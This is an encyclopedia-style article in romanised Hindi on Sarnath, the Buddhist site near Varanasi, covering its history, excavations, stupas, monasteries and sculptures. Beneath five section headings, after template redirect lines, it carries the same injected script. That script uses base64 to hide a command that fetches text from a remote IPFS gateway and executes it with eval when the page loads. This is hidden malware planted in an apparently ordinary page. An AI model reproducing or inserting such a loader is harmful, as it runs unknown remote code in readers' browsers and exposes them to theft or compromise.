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भारत डिस्कवरी प्रस्तुति
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saranath vishay soochi
parichay    itihas    utkhanan    chaukhandi stoop    sangharam kshetr    akatha utkhanan    kalakritiyaan tatha pratimaean
saranath
vivaran varanasi se lagabhag 10 kilomitar door sthit saranath prasiddh bauddh tirth hai. pahale isaka nam 'rrishipattan mrigaday' tha. jnan prapt karane ke bad gautam buddh ne apana pratham upadesh yahian par diya tha.
rajy uttar pradesh
zila varanasi
bhaugolik sthiti uttar- 25° 22' 52" - poorv- 83° 01' 17"
marg sthiti rashtriy rajamarg 28 saranath ko anek shaharoan se jo data hai.
prasiddhi bhagavan buddh ka mandir
kab jaean aktoobar se march
kaise pahuanchean taiksi, bas, rel adi
havaee adda saranath ka nikatatam havaee adda babatapur, varanasi mean hai jo saranath se 30 kilomitar ki doori par hai.
relave steshan saranath ka nikatatam relave steshan varanasi keant hai jo lagabhag 6 kilomitar door hai. saranath ka bhi ek relave steshan hai lekin us par kam hi relaga di rukati haian.
bas adda saranath ke as-pas ke anek shaharoan se saranath jane ke lie niyamit basoan ki suvidha upalabdh hai.
yatayat viman, rel, bas, taiksi
kya dekhean ashok ka chaturmukh sianhastambh, dhamekh stoop, chaukhandi stoop, rajakiy sangrahalay, jain mandir adi.
kahaan thaharean hotal, dharmashala, atithi grah
es.ti.di. kod 0542
chitr:Map-icon.gif googal manachitr
bhasha hindi aur aangrezi

saranath kashi se sat mil poorvottar mean sthit bauddhoan ka prachin tirth hai, jnan prapt karane ke bad bhagavan buddh ne pratham upadesh yahaan diya tha, yahaan se hi unhoanne "dharm chakr pravartan" prarambh kiya, yahaan par saranganath mahadev ka mandir hai, yahaan savan ke mahine mean hinduoan ka mela lagata hai. yah jain tirth hai aur jain granthoan mean ise sianhapur bataya hai. saranath ki darshaniy vastuyean-ashok ka chaturmukh sianhastambh, bhagavan buddh ka mandir, dhamekh stoop, chaukhandi stoop, rajakiy sangrahalay, jain mandir, chini mandir, moolangadhakuti aur navin vihar haian, muhammad gori ne ise lagabhag khatm kar diya tha, san 1905 mean puratattv vibhag ne yahaan khudaee ka kam kiya, us samay bauddh dharm ke anuyayiyoan aur itihasavettaoan ka dhyan is par gaya.

parichay

kashi athava varanasi se lagabhag 10 kilomitar door sthit saranath prasiddh bauddh tirth hai. pahale yahaan ghana van tha aur mrig-vihar kiya karate the. us samay isaka nam 'rrishipattan mrigaday' tha. jnan prapt karane ke bad gautam buddh ne apana pratham upadesh yahian par diya tha.

samrat ashok ke samay mean yahaan bahut se nirman-kary hue. sianhoan ki moorti vala bharat ka rajachihn saranath ke ashok ke stanbh ke shirsh se hi liya gaya hai. yahaan ka 'dhamek stoop' saranath ki prachinata ka aj bhi bodh karata hai. videshi akramanoan aur paraspar ki dharmik khianchatani ke karan age chalakar saranath ka mahattv kam ho gaya tha. mrigaday mean saranganath mahadev ki moorti ki sthapana huee aur sthan ka nam saranath p d gaya. [[chitr:Dhamekh-Stupa-Sarnath-2.jpg|thumb|left|dhamekh stoop, saranath]]

prachin nam

isaka prachin nam rrishipatan (isipatan ya mrigadav) (hiranoan ka jangal) tha. rrishipatan se tatpary ‘rrishi ka patan’ se hai jisaka ashay hai vah sthan jahaan kisi ek buddh ne gautam buddh bhavi sanbodhi ko janakar nirvan prapt kiya tha.[1] mrigoan ke vicharan karane vale sthan ke adhar par isaka nam mrigadav p da, jisaka varnan nigrodhamrig jatak mean bhi aya hai.[2] adhunik nam ‘saranath’ ki utpatti ‘saranganath’ (mrigoan ke nath) arthath gautam buddh se huee.

bodhisatv ki katha se sanbandh

jisaka sanbandh bodhisatv ki ek katha se bhi jo da jata hai. vodhisatv ne apane kisi poorvajanm mean, jab ve mrigadav mean mrigoan ke raja the, apane pranoan ki bali dekar ek garbhavati harini ki jan bachaee thi. isi karan is van ko sar-ya sarang (mrig)- nath kahane lage. rayabahadur dayaram sahani ke anusar shiv ko bhi pauranik sahity mean saranganath kaha gaya hai aur mahadev shiv ki nagari kashi ki samipata ke karan yah sthan shivopasana ki bhi sthali ban gaya. is tathy ki pushti saranath mean, saranath namak shivamandir ki vartamanata se hoti hai.

itihas

buddh ke pratham upadesh (lagabhag 533 ee.poo.) se 300 varsh bad tak ka saranath ka itihas ajnat hai: kyoanki utkhanan se is kal ka koee bhi avashesh nahian prapt hua hai.[3] saranath ki samriddhi aur bauddh dharm ka vikas sarvapratham ashok ke shasanakal mean drishtigat hota hai. usane saranath mean dharmarajika stoop, dhamekh stoop evan sianh stanbh ka nirman karavaya. ashok ke uttaradhikariyoan ke shasan-kal mean pun: saranath avanati ki or agrasar hone laga. ee.poo. doosari shati mean shuang rajy ki sthapana huee, lekin saranath se is kal ka koee lekh nahian mila. pratham shatabdi ee. ke lagabhag uttar bharat ke kushan rajy ki sthapana ke sath hi ek bar pun: bauddh dharm ki unnati huee. kanishk ke rajyakal ke tisare varsh mean bhikshu bal ne yahaan ek bodhisatv pratima ki sthapana ki. kanishk ne apane shasan-kal mean n keval saranath mean varanh bharat ke vibhinn bhagoan mean bahut-se viharoan evan stoopoan ka nirman karavaya.

ek sthaniy kianvadanti ke anusar bauddh dharm ke prachar ke poorv saranath shivopasana ka keandr tha. kiantu , jaise gaya adi aur bhi kee sthanoan ke itihas se pramanit hota hai bat isaki ulti bhi ho sakati hai, arthat bauddh dharm ke patan ke pashchath hi shiv ki upasana yahaan prachalit huee ho. jan p data hai ki jaise kee prachin vishal nagaroan ke upanagar ya nagarodyan the (jaise prachin vidisha ka saanchi, ayodhya ka saket adi) usi prakar saranath mean moolat: rrishiyoan ya tapasviyoan ke ashram sthit the jo unhoanne kashi ke kolahal se bachane ke lie, kiantu phir bhi mahanh nagari ke sannidhy mean, rahane ke lie banae the. [[chitr:Sarnath.jpg|thumb|250px|dhamekh stoop, jain mandir, saranath]] saranath ke itihas mean sabase gauravapoorn samay guptakal tha. us samay yah mathura ke atirikt uttar bharat mean kala ka sabase b da keandr tha. harsh ke shasan-kal mean hven tsaang bharat aya tha. usane saranath ko atyant khushahal bataya tha. harsh ke bad kee sau varsh tak saranath vibhinn shasakoan ke adhikar mean tha lekin inake shasanakal mean koee vishesh upalabdhi nahian ho paee. mahamood gazanavi (1017 ee.) ke varanasi akraman ke samay saranath ko atyadhik kshati pahuanchi. pun: 1026 ee. mean samrat mahipal ke shasan kal mean sthirapal aur basantapal namak do bhaiyoan ne samrat ki prerana se kashi ke devalayoan ke uddhar ke sath-sath dharmarajika stoop evan dharmachakr ka bhi uddhar kiya. gah daval vesh ke shasan-kal mean goviandachandr ki rani kumar devi ne saranath mean ek vihar banavaya tha.[4] utkhanan se prapt ek abhilekh se bhi isaki pushti hoti hai[5] isake pashchath saranath ki vaibhav ka aant ho gaya.

saranath ka utkhanan

saranath ke sandarbh ke aitihasik janakari puratattvavidoan ko us samay huee jab kashinaresh chet sianh ke divan jagat sianh ne dharmarajika stoop ko ajnanavash khudava dala. is ghatana se janata ka akarshan saranath ki or badha. is kshetr ka sarvapratham simit utkhanan karnal kaikeanji ne 1815 ee. mean karavaya[6] lekin unako koee mahattvapoorn saphalata nahian mili. is utkhanan se prapt samagri ab kalakatta ke bharatiy sangrahalay mean surakshit hai. kaikeanji ke utkhanan ke 20 varsh pashchath 1835-36 mean kaniangham ne saranath ka vistrit utkhanan karavaya. utkhanan mean unhoanne mukhy roop se dhamekh stoop, chaukhandi stoop evan madhyakalin viharoan ko khod nikala.[7] kaniangham ka dhamekh stoop se 3 phut niche 600 ee. ka ek abhilikhit shilapatt (28 ¾ ianch X 13 ianch X 43 ianch akar ka) mila.[8] left|bauddh bhikshuoan ko shiksha dete hue bhagavan buddh|thumb|250px isake atirikt yahaan se b dian sankhya mean bhavanoan mean prayukt pattharoan ke tuk de evan moortiyaan bhi milian, jo ab kalakatta ke bharatiy sangrahalay mean surakshit haian. 1851-52 ee. mean mejar kitoee ne yahaan utkhanan karavaya jisamean unhean dhamekh stoop ke asapas anek stoopoan evan do viharoan ke avashesh mile, parantu is utkhanan ki riport prakashit n ho saki. kitoee ke uparaant edavard thamas[9] tatha pro. phitj edavard harn[10] ne khoj kary jari rakha. unake dvara utkhanit vastuean ab bharatiy sangrahalay kalakatta mean haian.

is kshetr ka sarvapratham vistrit evan vaijnanik utkhanan ech.bi. oratal ne karavaya.[11] utkhanan 200 varg phut kshetr mean kiya gaya. yahaan se mukhy mandir tatha ashok stanbh ke atirikt b di sankhya mean moortiyaan evan shilalekh mile haian. pramukh moortiyoan mean bodhisatv ki vishal abhilikhit moorti, asanasth buddh ki moorti, avalokiteshvar, bodhisatv, manjushri, nilakanth ki moortiyaan tatha tara, vasuandhara adi ki pratimaean bhi haian.

puratattv vibhag ke dayarektar janaral jan marshal ne apane sahayogiyoan stenakono aur dayaram sahani ke sath 1907 mean saranath ke uttar-dakshin kshetroan mean utkhanan kiya. utkhanan se uttar kshetr mean tin kushanakalin mathoan ka pata chala. dakshin kshetr se visheshakar dharmarajika stoop ke asapas tatha dhamekh stoop ke uttar se unhean anek chhote-chhote stoopoan evan mandiroan ke avashesh mile. inamean se kumaradevi ke abhilekhoan se yukt kuchh moortiyaan vishesh mahattv ki haian.[12] utkhanan ka yah kary bad ke varshoan mean bhi jari raha. 1914 se 1915 ee. mean ech. haragrivs ne mukhy mandir ke poorv aur pashchim mean khudaee karavaee. utkhanan mean mauryakal se lekar madhyakal tak ki anek vastuean mili.[13]

is kshetr ka aantim utkhanan dayaram sahani ke nirdeshan mean 5 satroan tak chalata raha.[14] dhamekh stoop se mukhy mandir tak ke sanpoorn kshetr ka utkhanan kiya gaya. is utkhanan se dayaram sahani ko ek 1 phut 9 ½ ianch lanbi, 2 phut 7 ianch chau di tatha 3 phut gahari ek nali ke avashesh mile.[15]

uparyukt utkhananoan se nimnalikhit smarak prakash mean ae haian-

chaukhandi stoop

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[[chitr:Chaukhandi-Stupa-Sarnath.jpg|thumb|200px|chaukhandi stoop, saranath]] dhamekh stoop se adha mil dakshin yah stoop sthit hai, jo saranath ke avashisht smarakoan se alag haian. is sthan par gautam buddh ne apane paanch shishyoan ko sabase pratham upadesh sunaya tha jisake smarakasvaroop is stoop ka nirman hua. hvenasaang ne is stoop ki sthiti saranath se 0.8 ki.mi. dakshin-pashchim mean bataee hai, jo 91.44 mi. ooancha tha.[16] isaki pahachan chaukhandi stoop se thik pratit hoti hai. is stoop ke oopar ek ashtaparshviy burji bani huee hai. isake uttari daravaze par p de hue patthar par farasi mean ek lekh ullikhit hai, jisase jnat hota hai ki todaramal ke putr govarddhan sanh 1589 ee. (996 hijari) mean ise banavaya tha. lekh mean varnit hai ki humayooan ne is sthan par ek rat vyatit ki thi, jisaki yadagar mean is burj ka nirman sanbhav hua.[17]

dharmarajika stoop

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

is stoop ka nirman ashok ne karavaya tha. durbhagyavash 1794 ee. mean jagat sianh ke adamiyoan ne kashi ka prasiddh muhalla jagataganj banane ke lie isaki eeantoan ko khod dala tha. khudaee ke samay 8.23 mi. ki gaharaee par ek prastar patr ke bhitar sangaramaramar ki manjoosha mean kuchh haddiya: evan suvarnapatr, moti ke dane evan ratn mile the, jise unhoanne vishesh mahattv ka n manakar ganga mean pravahit kar diya.[18] yahaan se prapt mahipal ke samay ke 1026 ee. ke ek lekh mean yah ullekh hai ki sthirapal aur basantapal namak do bandhuoan ne dharmarajika aur dharmachakr ka jirnoddhar kiya.[19] thumb|250px|left|dhamekh stoop par naqqashi, saranath

utkhanan se is stoop se do moortiyaan milian. ye moortiyaan saranath se prapt moortiyoan mean mukhy haian. pahali moorti kanishk ke rajy sanvatsar 3 (81 ee.) mean sthapit vishal bodhisatv pratima aur doosari dharmachakrapravartan mudra mean bhagavan buddh ki moorti. ye moortiyaan saranath ki sarvashreshth kalakritiyaan haian.

moolagandh kuti vihar

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|250px|moolagandh kuti vihar, saranath yah vihar dharmarajika stoop se uttar ki or sthit hai. poorvabhimukh is vihar ki kursi chaukor hai jisaki ek bhuja 18.29 mi. hai. satavian shatabdi mean bharat-bhraman par ae chini yatri hven tsaang ne isaka varnan 200 phut ooanche moolagandh kuti vihar ke nam se kiya hai.[20] is mandir par bane hue naqqashidar gole aur natodar dhalaee, chhote-chhote stanbhoan tatha sudanr kalapoorn katavoan adi se yah nishchit ho jata hai ki isaka nirman guptakal mean hua tha.[21] parantu isake charoan or mitti aur choone ki bani huee pakki pharshoan tatha divaloan ke bahari bhag mean prayukt ast-vyast naqqashidar pattharoan ke adhar par kuchh viddhanoan ne ise 8vian shatabdi ke lagabhag ka mana hai.

aisa pratit hota hai ki is mandir ke bich mean bane mandap ke niche praranbh mean bhagavanh buddh ki ek sone ki chamakili adamaqad moorti sthapit thi. mandir mean pravesh ke lie tinoan dishaoan mean ek-ek dvar aur poorv disha mean mukhy pravesh dvar (sianh dvar) tha. kalaantar mean jab mandir ki chhat kamazor hone lagi to usaki suraksha ke lie bhitari dakshinapath ko divarean uthakar band kar diya gaya. at: ane jane ka rasta keval poorv ke mukhy dvar se hi rah gaya. tinoan daravajoan ke band ho jane se ye kothariyoan jaisi ho gee, jise bad mean chhote mandiroan ka roop de diya gaya. thumb|250px|left|ashok stanbh, saranath

ashok stanbh

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

mukhy mandir se pashchim ki or ek ashokakalin prastar-stanbh hai jisaki ooanchaee praranbh mean 17.55 mi. (55 phut) thi. vartaman samay mean isaki ooanchaee keval 2.03 mitar (7 phut 9 ianch) hai. stanbh ka oopari sira ab saranath sangrahalay mean hai. nianv mean khudaee karate samay yah pata chala ki isaki sthapana 8 phut X16 phut X18 ianch akar ke b de patthar ke chabootare par huee thi.[22] is stanbh par tin lekh ullikhit haian. pahala lekh ashok kalin brahmi lipi mean hai jisamean samrat ne adesh diya hai ki jo bhichhu ya bhikshuni sangh mean phoot daleange aur sangh ki nianda kareange: unhean safed kap de pahanakar sangh ke bahar nikal diya jaega. doosara lekh kushan-kal ka hai. tisara lekh gupt kal ka hai, jisamean sammitiy shakha ke acharyoan ka ullekh kiya gaya hai.[23]

sangharam kshetr

thumb|250px|saranath ka pravesh dvar bhikshuoan ke nivas ke lie kee sangharamoan ka nirman kiya gaya tha. in sangharamoan mean do kushan kal ke the. in sabhi sangharamoan mean mukhyat: ek pravesh dvar, bich mean aangan, aangan ke charoan or khanbhoan par ashrit baramada aur kothariyaan banian thian.

sangharam 1 (dharmachakrajin vihar)

is vihar ka nirman kannauj ke gah daval shasak goviandachand (1114-1154 ee.) ki patni kumaradevi ne karavaya tha. is vihar ki poorv se pashchim lanbaee 760 phut thi.[24] isake aangan ki pharsh paki eeantoan se dhaki thi jisake tin or kamare nirmit the. vihar ki kursi 8 phut ooanchi thi jisamean prayukt eeantoan ki chinaee niyamit hai, yadyapi bhikshuoan ke rahane ke kaksh ab dhah chuke haian. pravesh ke lie poorv ki or do sianh dvar the jinake bich ki doori 88.89 mi. (290 phut) thi.[25] pravesh ke donoan or b de kaksh the. dvar ki burjiyoan mean ju daee suandar evan alankrit haian. is vihar ke niche poorvakalin tin viharoan ke avashesh pae ge haian. pashchimi kinare par vihar sankhya-2, kumaradevi vihar ke poorvi toran ke samane vihar-sankhya-3 aur do sianh dvaroan ke madhy zamin ke niche vihar sankhya-4 haian.

is vihar ke pashchim ki or ek pati huee surang (54.85 mi. lanbi) mili hai jisaki chau daee 1.83 mian. hai. isaki divaloan mean patthar aur eeantoan ki chinaee hai. yah surang ek kamare mean jakar samapt ho jati.[26] yahaan se prapt sabhi moortiyaan madhyakalin haian. [[chitr:Dhamekh-Stupa-Sarnath-5.jpg|thumb|left|dhamekh stoop par naqqashi, saranath]]

sangharam 2, 3, 4
  • sangharam 2 aranbhik guptakal ka hai. isake madhy mean 27.69 mian. (90 phut) ka ek chaukor aangan tha, jisake charoan or 0.99 mitar (3 phut 3 ianch) akar ki chhoti dival thi jisake oopar baramade ke khambhe uthae ge the. baramade ke pichhe kakshoan ki panktiyaan thian jinamean se ab keval nau kamaroan ke chihn bache haian.[27]
  • sangharam 3 ki kursi atyant nichi hai aur isaka talapattan sangharam 2 ke sadrishy tha. utkhanan se pashchim ki or ek mandir, dakshin ki or char kaksh, baramade ka kuchh bhag tatha aangan ke avashesh mile haian. bahari dival 5 phut 6 ianch chau di thi. khanbhoan par bani shaili se yah vihar kushanakalin pratit hota hai. divaloan ki ausat ooanchaee 3.04 (10 phut) thi. inhean dekhane se aisa pratit hota hai ki yah imarat do manzil ki rahi hogi. utkhanan se aangan ke bich mean 10 ianch gahari aur 7 ianch chau di ek dhaki nali ke bhi avashesh mile haian.[28]
  • sangharam 4 ka aangan bhoomi se 4.42 mitar (14 phut 6 ianch) niche tha. utkhanan mean aangan aur baramade ka kuchh bhag tatha poorv ki or do kothariyoan ke avashesh prakash mean ae haian. baramade ke khanbhoan ki pankti sangharam 3 ki bhaanti 2 phut 2 ianch ooanchi dival par nirmit thi. baramade ki chau dee 7 phut 10 ianch tak thi.[29]

dhamekh stoop (dharmachakr stoop)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Dhamekh-Stupa-Jain-temple-Sarnath.jpg|thumb|250px|dhamekh stoop, jain mandir, saranath]] yah stoop ek thos golakar burj ki bhaanti hai. isaka vyas 28.35 mitar (93 phut) aur ooanchaee 39.01 mitar (143 phut) 11.20 mitar tak isaka ghera suandar alankrit shilapattoan se achchhadit hai. isaka yah achchhadan kala ki drishti se atyant suandar evan akarshak hai. alankaranoan mean mukhy roop se svastik, nandyavart sadrish vividh akritiyaan aur phool-patti ke katav ki belean haian. is prakar ke vallari pradhan alankaran banane mean guptakal ke shilpi parangat the. is stoop ki nianv ashok ke samay mean p di. isaka vistar kushan-kal mean hua, lekin guptakal mean yah poornat: taiyar hua. yah sakshy pattharoan ki sajavat aur un par gupt lipi mean aankit chihnoan se nishchit hota hai. kaniangham ne sarvapratham is stoop ke madhy khudaee karakar 0.91 mitar (3 phut) niche ek shilapatt prapt kiya tha. is shilapatt par satavian shatabdi ki lipi mean ‘ye dharmahetu prabhava’ manch aankit tha. is stoop mean prayukt eeantean 14 ½ ianch X 8 ½ ianch X 2 ¼ ianch akar ki haian.[30]

akatha

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'akatha' namak purasthal (83°0’ poorvi akshaansh aur 25°22’ uttari deshaantar ke madhy) saranath se 2 kilomitar dakshin-pashchim mean sthit haian. is sthal ka utkhanan prachin bharatiy itihas, sanskriti evan puratattv vibhag, kashi hindoo vishvavidyalay ke pro. vidula jayasaval evan d aau. birendr pratap sianh ke sanyukt nirdeshan mean unake vibhagiy sahayogi d aau. ashok kumar sianh dvara faravari-aprail, 2002 ke madhy kiya gaya.[31] thumb|250px|left|kagyoo tibbati math, saranath yah utkhanan kary pun: 2004 faravari-aprail, ke madhy pro. vidula jayasaval evan lekhak ke sanyukt nirdeshan mean sampann hua. narokhar nala ke dakshini kinare par sthit yah purasthal char varga kilomitar, mean phaila hua hai. utkhanan kary mukhy roop se akatha-1 aur akatha-2 mean kiya gaya. utkhanan mean char saanskritik kaloan ki samagri prakash mean aee.:

  • pratham kal- poorv uttari krishna parimarjit sanskriti (pri en. bi. pi. kal) (lagabhag 1200 ee. poo. se 600 ee. poo. tak)
  • dvitiy kal- uttari krishna parimarjit sanskriti (600 ee.poo. se 200 ee. poo. tak)
  • tritiy kal- shuang kushan kal (200 ee. poo. se 300 eesavi tak)
  • chaturth kal- guptakalin sanskriti (300 eesavi se 600 eesavi tak)
akatha- 1

akatha- 1 se prapt mukhy mridabhaand paranparaean krishna lohit, krishna lepit, uttari krishna parimarjit mridabhaand, bhoore rang ke mritpatr evan lal rang ke mritpatr haian. krishna lohit (blaik eand red veyar) mridabhaand ke katore, tasale, gh de, krishna lepit mridabhaand (blaik slipd), uttari krishna parimarjit mridabhaand (en.bi.pi. veyar) evan bhoore rang (gre veyar) ki thaliyaan evan katore mukhy haian. lal mridabhaand (red veyar) ke katore, gh de, avath rahit haan diyaan (karineted) evan gulabapash (sprinkalar) b di sankhya mean prapt hue haian. any vastuoan mean tamr-shalaka, taanbe, mitti aur arddhamoolyavan pattharoan ke bane manake, lodhe evan khilaune tatha paki mitti ki manav evan pashu moortiyaan haian. [[chitr:Buddha-Sarnath.jpg|thumb|left|buddh pratima, saranath]] akatha-2 ke utkhanan se prapt mridabhaand krishna lohit, krishna lepit evan lal prakar ke haian. lal mridabhaandoan par lep ka prayog bhi milata hai. yahaan ke nivasiyoan ko mridabhaand alankaran ka bhi vishesh jnan tha. utkhanan se dori chhapit, chataee ki chhap yukt evan chipakava paddhati se alankrit mridabhaangoan ke tuk de pratham kal ke nichale star se prapt hue haian.

praman

  • gautamabuddh gaya mean sanbuddhi prapt karane ke anantar yahaan ae the aur unhoanne kaudiny adi apane poorv sathiyoan ko pratham bar pravachan sunakar apane naye mat mean dikshit kiya tha. isi pratham pravachan ko unhoanne dharmachakrapravartan kaha jo kalaantar mean, bharatiy moortikala ke kshetr mean saranath ka pratik mana gaya. buddh hi ke jivanakal mean kashi ke shreshti nandi ne rrishipattan mean ek bauddh vihar banavaya tha. [32]
  • tisari shati ee.poo. mean ashok ne saranath ki yatra ki aur yahaan kee stoop aur ek suandar prastarastanbh sthapit kiya jis par maury samrat ki ek dharmalipi aankit hai. isi stanbh ka sianh shirsh tatha dharmachakr bharatiy ganarajy ka rajachihn banaya gaya hai. chauthi shati ee. mean chini yatri fahyan is sthan par aya tha. usane saranath mean char b de stoop aur paanch vihar dekhe the.
  • 6thi shati ee. mean hoonoan ne is sthan par akraman karake yahaan ke prachin smarakoan ko ghor kshati pahuanchaee. inaka senanayak mihirakul tha.

thumb|250px|saranath

  • 7vian shati ee. ke poorvardh mean, prasiddh chini yatri yuvanachvaang ne varanasi aur saranath ki yatra ki thi. us samay yahaan 30 bauddh vihar the jinamean 1500 theravadi bhikshu nivas karate the.
  • yuvanachvaang ne saranath mean 100 hindoo devalay bhi dekhean the jo bauddh dharm ke dhire-dhire patanonmukh hone tatha prachin dharm ke punarotkarsh ke parichayak the.
  • 11vian shati mean mahamood gazanavi ne saranath par akraman kiya aur yahaan ke smarakoan ko nasht-bhrasht kar diya.
  • tatpashchath 1194 ee. mean muhammad gori ke senapati qutubuddin ne to yahaan ki bachikhuchi pray: sabhi imaratoan tatha kalakritiyoan ko lagabhag samapt hi kar diya. keval do vishal stoop hi chh: shatiyoan tak apane sthan par kh de rahe.
  • 1794 ee. mean kashi-naresh chetasianh ke divan jagatasianh ne jagataganj namak varanasi ke muhalle ko banavane ke lie ek stoop ki samagri kam mean le li. yah stoop eetoan ka bana tha. isaka vyas 110 phut tha. kuchh vidvanoan ka kathan hai ki yah ashok dvara nirmit dharmarajik namak stoop tha. jagatasianh ne is stoop ka jo utkhanan karavaya tha usame is vishal stoop ke aandar se baluva patthar aur sangamaramar ke do bartan mile the jinamean buddh ke asthi-avashesh pae ge the. inhean ganga mean pravahit kar diya gaya.

puratattav vibhag dvara yahaan jo utkhanan kiya gaya usamean 12vian shati ee. mean yahaan hone vale vinash ke adhyayan se jnat hota hai ki yahaan ke nivasi musalamanoan ke akraman ke samay ekaek hi bhag nikale the kyoanki viharoan ki kee kothariyoan mean mitti ke bartanoan mean paki dal aur chaval ke avashesh mile the. [[chitr:Buddha-Sarnath-2.jpg|thumb|left|buddh pratima, moolagandh kuti vihar, saranath]] 1854 ee. mean bharat sarakar ne saranath ko ek nil ke vyavasayi fargyusan se kharid liya. lanka ke anagarik dharmapal ke prayatnoan se yahaan moolagandh kuti vihar namak bauddh mandir bana tha. saranath ke avashisht prachin smarakoan mean nimn stoop ullekhaniy haian- chaukhandi stoop is par mugal samrat akabar dvara aankit 1588 ee. ka ek farasi abhilekh khuda hai, jisamean humayooan ke is sthan par akar vishram karane ka ullekh hai.[33]; dhamekh athava dharmamukh stoop puratattv vidvanoan ke matanusar guptakalin hai aur bhavi buddh maitrey ke sammanarth banavaya gaya tha. kianvadanti hai ki yah vahi sthal hai, jahaan maitrey ko gautam buddh ne usake bhavi buddh banane ke vishay mean bhavishyavani ki thi.[34] khudaee mean isi stoop ke pas anek kharal adi mile the jisase sanbhavana hoti hai ki kisi samay yahaan aushadhalay raha hoga. is stoop mean se anek suandar patthar nikale the.

kalakritiyaan tatha pratimaean

saranath ke kshetr ki khudaee se guptakalin anek kalakritiyaan tatha buddh pratimaean prapt huee haian jo vartaman sangrahalay mean surakshit haian. guptakal mean saranath ki moortikala ki ek alag hi shaili prachalit thi, jo buddh ki moortiyoan ke atmik sauandary tatha sharirik saushthav ki sammishrit bhavayojana ke lie bharatiy moortikala ke itihas mean prasiddh hai. saranath mean ek prachin shiv mandir tatha ek jain mandir bhi sthit haian. jain mandir 1824 ee. mean bana tha; isamean shriyaanshadev ki pratima hai. jain kianvadanti hai ki ye tirthankar saranath se lagabhag do mil door sthit sianh namak gram mean tirthankar bhav ko prapt hue the. saranath se kee mahattvapoorn abhilekh bhi mile haian jinamean pramukh kashiraj prakatadity ka shilalekh hai. isamean baladity naresh ka ullekh hai jo flit ke mat mean vahi baladity hai jo mihirakul hoon ke sath viratapoorvak l da tha. yah abhilekh shayad 7vian shati ke poorv ka hai. doosare abhilekh mean harigupt namak ek sadhu dvara moortidan ka ullekh hai. yah abhilekh 8vian shati ee. ka jan p data hai.

bich mean log ise bhool ge the. yahaan ke eeant-pattharoan ko nikalakar varanasi ka ek muhalla hi bas gaya. 1905 ee. mean jab puratattv vibhag ne khudaee aranbh ki tab saranath ka jirnoddhar hua. ab yahaan sangrahalay hai, 'moolagandh kuti vihar' namak naya mandir ban chuka hai, bodhivriksh ki shakha lagaee gee hai aur prachin kal ke mrigaday ka smaran dilane ke lie hare-bhare udyanoan mean kuchh hiran bhi chho d die ge haian. sansar bhar ke bauddh tatha any paryatak yahaan ate rahate haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

vithika

  • chitr:Chinese-Buddhist-Temple-1.jpg

    saranath mean sthit chini bauddh mandir

  • chitr:Dhamekh-Stupa-Sarnath.jpg

    dhamekh stoop, saranath

  • chitr:Dhamekh-Stupa-Sarnath-1.jpg

    dhamekh stoop, saranath

  • chitr:Tibetan-Monastery-Sarnath.jpg

    buddh, kagyoo tibbati math, saranath

  • chitr:Dhamekh-Stupa-Sarnath-3.jpg

    dhamekh stoop, saranath

  • chitr:Dhamekh-Stupa-Sarnath-7.jpg

    dhamekh stoop par naqqashi, saranath

  • chitr:Dhamekh-Stupa-Sarnath-4.jpg

    dhamekh stoop, saranath

  • chitr:Jain-Temple-Sarnath.jpg

    jain mandir, saranath

  • chitr:Buddha-Sarnath-3.jpg

    buddh pratima, saranath

  • chitr:Sarnath-1.jpg

    dhamekh stoop, jain mandir, saranath

  • chitr:Sarnath-Bell.jpg

    saranath mean ghanta

  • chitr:Sarnath-8.jpg

    saranath ka ek drishy

tika tippani aur sandarbh

  1. ↑ bi.si. bhattachary, di histri af saranath, (banaras, 1924), pri. 47
  2. ↑ nigrodh mrig jatak, sankhya 12 (phausabol sanskaran
  3. ↑ chooanki khudaee us samay huee thi jab starikaran ke siddhaant shodhakartaoan dvara prayukt nahian kie jate the tatha tatkalin vidvanh kachchi eeantoan, phoos ki jhop diyoan adi avasheshoan par dhyan nahian dete the, sath hi bharatiy mritikapatroan ka vishesh adhyayan, jo ab ho raha hai, usaka prachalan nahian tha. aisi sthiti mean sanbhav hai usake mahattv ka uchit moolyaankan n kar sake hoan.
  4. ↑ ipigrafiya iandika, bhag 9, pri. 325
  5. ↑ arkiyolajikalh sarve aauf iandiya, varshik riport 1907-8, pri. 78
  6. ↑ tatraiv, 1904-5, pri. 212
  7. ↑ kaniangham, arkiyolajikalh sarve riports bhag 1, pri. 111
  8. ↑ dayaram sahani ne abhilekhik adhar par ise satavian ya athavian shatabdi ka mana hai. kaitalag aauf di myoojiyam aauf arkiyolaji et saranath, (kalakatta 1914), pri. 11
  9. ↑ bangal eshiyatik sosaiti jarnal, 1854, pri. 469
  10. ↑ eshiyatik sosaiti risarchejh, 1856, pri. 369
